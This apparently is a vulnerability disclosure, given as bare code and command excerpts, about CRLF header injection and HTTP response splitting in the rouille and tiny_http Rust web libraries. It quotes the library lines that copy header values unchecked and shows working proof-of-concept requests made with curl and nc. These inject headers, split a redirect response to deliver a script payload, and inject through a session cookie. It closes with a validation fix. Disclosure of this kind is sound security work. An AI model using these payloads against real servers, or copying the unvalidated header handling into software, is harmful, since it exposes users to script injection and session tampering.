624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}